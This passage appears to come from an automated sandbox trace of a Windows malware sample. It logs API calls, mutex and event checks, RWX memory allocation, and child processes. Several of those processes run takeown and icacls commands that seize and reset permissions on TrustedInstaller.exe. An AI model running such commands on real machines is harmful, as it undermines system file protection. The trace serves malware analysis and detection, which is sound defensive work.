lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DATACLEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVCLNT.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVCLNT.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DAVHLPR.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DAVHLPR.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGENG.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGENG.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBGHELP.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBGHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNETLIB.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNETLIB.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DBNMPNTW.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DBNMPNTW.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DCIMAN32.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DCIMAN32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x18c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x18c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0227.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x18c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0227.291] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x186fca8 | out: BaseAddress=0x186fca8*=0x75cf0000) returned 0x0 [0227.294] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18c288) returned 1 [0227.294] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.294] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e840) returned 1 [0227.294] FindClose (in: hFindFile=0x25fd68 | out: hFindFile=0x25fd68) returned 1 [0227.295] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e268) returned 1 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x184) returned 0xcb7cf8 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c288 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c120 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c240 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c0d8 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c900 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c948 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c990 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18c9d8 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18ca20 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18ca68 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18cab0 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18caf8 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18cb40 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18cb88 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0x18cbd0 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb7ea0 [0227.295] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\vds.exe", pNumArgs=0x186fcd4 | out: pNumArgs=0x186fcd4) returned 0x251e88*="C:\\Windows\\System32\\vds.exe" [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x10) returned 0x18d5e8 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x8) returned 0x18d288 [0227.295] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e268 [0227.295] LocalFree (hMem=0x251e88) returned 0x0 [0227.296] Wow64DisableWow64FsRedirection (in: OldValue=0x186fcd0 | out: OldValue=0x186fcd0*=0x0) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x800) returned 0xcb8e88 [0227.296] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xcb8e88, nSize=0x200 | out: lpFilename="C:\\Windows\\System32\\vds.exe" (normalized: "c:\\windows\\system32\\vds.exe")) returned 0x1b [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e840 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e840) returned 1 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x100) returned 0xcb9690 [0227.296] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0xcb9690, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb9690) returned 1 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x80) returned 0x18e8c8 [0227.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb7ee8 [0227.296] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0xcb7ee8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb7f30 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb7ee8) returned 1 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0x18e8c8) returned 1 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb7ee8 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb7f78 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb7fc0 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8008 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8050 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8098 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x5000) returned 0xcb2850 [0227.296] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.296] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb80e0) returned 1 [0227.296] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0227.297] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb2850) returned 1 [0227.297] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x258d68, lpbSaclPresent=0x186fb04, pSacl=0x186fb58, lpbSaclDefaulted=0x186fb04 | out: lpbSaclPresent=0x186fb04, pSacl=0x186fb58, lpbSaclDefaulted=0x186fb04) returned 1 [0227.297] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.297] CreateEventA (lpEventAttributes=0x186fb4c, bManualReset=1, bInitialState=0, lpName="") returned 0x110 [0227.297] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb80e0) returned 1 [0227.297] GetLastError () returned 0x0 [0227.297] LocalFree (hMem=0x258d68) returned 0x0 [0227.297] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.297] CryptAcquireContextW (in: phProv=0x186fb3c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x186fb3c*=0x278668) returned 1 [0227.298] CryptCreateHash (in: hProv=0x278668, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x186fb3c | out: phHash=0x186fb3c) returned 1 [0227.298] CryptHashData (hHash=0x25fd68, pbData=0xcb7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0227.298] CryptGetHashParam (in: hHash=0x25fd68, dwParam=0x4, pbData=0x186fb40, pdwDataLen=0x186fb4c, dwFlags=0x0 | out: pbData=0x186fb40, pdwDataLen=0x186fb4c) returned 1 [0227.298] CryptGetHashParam (in: hHash=0x25fd68, dwParam=0x2, pbData=0xcb80e0, pdwDataLen=0x186fb40, dwFlags=0x0 | out: pbData=0xcb80e0, pdwDataLen=0x186fb40) returned 1 [0227.298] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8128 [0227.298] CryptDestroyHash (hHash=0x25fd68) returned 1 [0227.298] CryptReleaseContext (hProv=0x278668, dwFlags=0x0) returned 1 [0227.298] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb80e0) returned 1 [0227.298] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.298] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8170 [0227.298] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb80e0) returned 1 [0227.298] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.298] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb80e0) returned 1 [0227.298] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb8170) returned 1 [0227.298] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb8128) returned 1 [0227.298] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8128 [0227.299] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x128 [0227.299] GetLastError () returned 0x0 [0227.299] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8170 [0227.299] CryptAcquireContextW (in: phProv=0x186fb3c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x186fb3c*=0x278668) returned 1 [0227.299] CryptCreateHash (in: hProv=0x278668, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x186fb3c | out: phHash=0x186fb3c) returned 1 [0227.299] CryptHashData (hHash=0x25fd68, pbData=0xcb7f78, dwDataLen=0xb, dwFlags=0x0) returned 1 [0227.299] CryptGetHashParam (in: hHash=0x25fd68, dwParam=0x4, pbData=0x186fb40, pdwDataLen=0x186fb4c, dwFlags=0x0 | out: pbData=0x186fb40, pdwDataLen=0x186fb4c) returned 1 [0227.299] CryptGetHashParam (in: hHash=0x25fd68, dwParam=0x2, pbData=0xcb8170, pdwDataLen=0x186fb40, dwFlags=0x0 | out: pbData=0xcb8170, pdwDataLen=0x186fb40) returned 1 [0227.299] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.299] CryptDestroyHash (hHash=0x25fd68) returned 1 [0227.299] CryptReleaseContext (hProv=0x278668, dwFlags=0x0) returned 1 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb8170) returned 1 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8170 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb81b8 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb8170) returned 1 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb8170 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb8170) returned 1 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb81b8) returned 1 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb80e0) returned 1 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb80e0 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb81b8 [0227.300] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb81b8) returned 1 [0227.300] GetLastError () returned 0x5 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb81b8 [0227.300] OpenMutexA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb81b8) returned 1 [0227.300] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x40) returned 0xcb81b8 [0227.300] OpenMutexA (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x12c [0227.300] RtlFreeHeap (HeapHandle=0x180000, Flags=0x0, BaseAddress=0xcb81b8) returned 1 [0227.300] SetEvent (hEvent=0x128) returned 1 [0227.300] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0xffffffff) Thread: id = 1046 os_tid = 0x7e0 Process: id = "113" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x4993b000" os_pid = "0x920" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 936 os_tid = 0x924 Thread: id = 937 os_tid = 0x934 Process: id = "114" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x26e40000" os_pid = "0x938" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 938 os_tid = 0x93c Process: id = "115" image_name = "osppsvc.exe" filename = "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe" page_root = "0x3c812000" os_pid = "0x94c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x1a8" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 939 os_tid = 0x950 [0230.463] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x34f754 | out: ProcedureAddress=0x34f754*=0x770149d7) returned 0x0 [0230.463] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x34f754 | out: ProcedureAddress=0x34f754*=0x77011222) returned 0x0 [0230.463] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x34f754 | out: ProcedureAddress=0x34f754*=0x77011856) returned 0x0 [0230.463] LdrGetProcedureAddress (in: BaseAddress=0x77000000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x34f754 | out: ProcedureAddress=0x34f754*=0x7701435f) returned 0x0 [0230.463] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0230.463] GetProcAddress (hModule=0x77000000, lpProcName="FlsFree") returned 0x7701359f [0230.463] GetProcAddress (hModule=0x77000000, lpProcName="SetUnhandledExceptionFilter") returned 0x770187c9 [0230.463] VirtualProtect (in: lpAddress=0xdb0000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x34f808 | out: lpflOldProtect=0x34f808*=0x2) returned 1 [0230.519] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x1f0000 [0230.522] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x77000000 [0230.522] GetProcAddress (hModule=0x77000000, lpProcName="CreateFileW") returned 0x77013f5c [0230.522] GetProcAddress (hModule=0x77000000, lpProcName="ExitProcess") returned 0x77017a10 [0230.522] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 Thread: id = 940 os_tid = 0x954 Thread: id = 941 os_tid = 0x958 Thread: id = 942 os_tid = 0x95c Thread: id = 943 os_tid = 0x960 Thread: id = 1045 os_tid = 0x108 Process: id = "116" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x405ec000" os_pid = "0x968" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 945 os_tid = 0x96c Thread: id = 946 os_tid = 0x97c Process: id = "117" image_name = "icacls.exe" filename = "c:\\windows\\system32\\icacls.exe" page_root = "0x3caf1000" os_pid = "0x980" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000de59" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 947 os_tid = 0x984 Process: id = "118" image_name = "takeown.exe" filename = "c:\\windows\\system32\\takeown.exe" page_root = "0x3f9f6000" os_pid = "0x994" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x794" cmd_line = "C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], 